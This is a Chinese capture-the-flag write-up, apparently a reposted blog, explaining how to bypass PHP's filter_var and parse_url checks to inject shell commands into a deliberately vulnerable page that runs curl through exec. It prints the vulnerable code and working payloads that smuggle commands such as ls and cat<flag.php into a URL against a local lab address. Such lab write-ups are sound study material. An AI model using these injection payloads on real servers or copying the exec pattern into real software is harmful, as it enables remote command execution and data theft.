【红日Day2-CTF】filter_var函数缺陷

练习记录

复现代码:

index.php

<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-pz.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-pz.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-pz.com</h3></center>";
}

?>

flag.php

<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

漏洞分析:

进入网站:

http://192.168.1.139/PHPcode/day2/?url=

在这里插入图片描述
发现页面正常,可以进行操作了。

这道题考察的是 filter_var 函数的绕过与远程命令执行。代码如下,程序使用 exec 函数来执行 curl 命令,这就很容易让人联系到命令执行。

 exec('curl "'.$site_info['host'].'"', $result);

所以我们看看用于拼接命令的 $site_info['host'] 从何而来。

在题目 第2-4行 ,代码如下:

$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);

可以看到 $site_info 变量是从用户传来的 url 参数经过 filter_varparse_url 两个函数过滤而来。之后,

    if(preg_match('/sec-pz.com$/',$site_info['host'])){

又规定当 url 参数的值以 sec-pz.com 结尾时,才会执行 exec 函数。

所以让我们先来绕过 filter_varFILTER_VALIDATE_URL 过滤器,
我的另外一篇博客有filter_var的函数讲解
这里提供几个绕过方法,如下:

http://192.168.1.139/PHPcode/day2/index.php?url=http://[email protected]
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com,sec-pz.com
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com:80;sec-pz.com:80/
http://192.168.1.139/PHPcode/day2/index.php?url=http://demo.com#sec-pz.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

接着要绕过 parse_url 函数,
parse_url函数讲解

并且满足 $site_info['host'] 的值以 sec-pz.com 结尾,payload如下:

http://192.168.1.139/PHPcode/day2/index.php?url=demo://";ls;#;sec-pz.com:80/

结果如图:
在这里插入图片描述
当我们直接用 cat flag.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,所以我们可以换成 cat<flag.php 命令,即可成功获取flag:具体payload如下:

http://192.168.1.139/PHPcode/day2/index.php?url=demo://";cat<flag.php;%23;sec-pz.com:80/

在这里插入图片描述
关于 filter_var 函数绕过更多的细节,大家可以参考这篇文章:SSRF技巧之如何绕过filter_var( ) ,关于命令执行绕过技巧,大家可以参考这篇文章:浅谈CTF中命令执行与绕过的小技巧

发布了35 篇原创文章 · 获赞 19 · 访问量 5205

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/103893922
今日推荐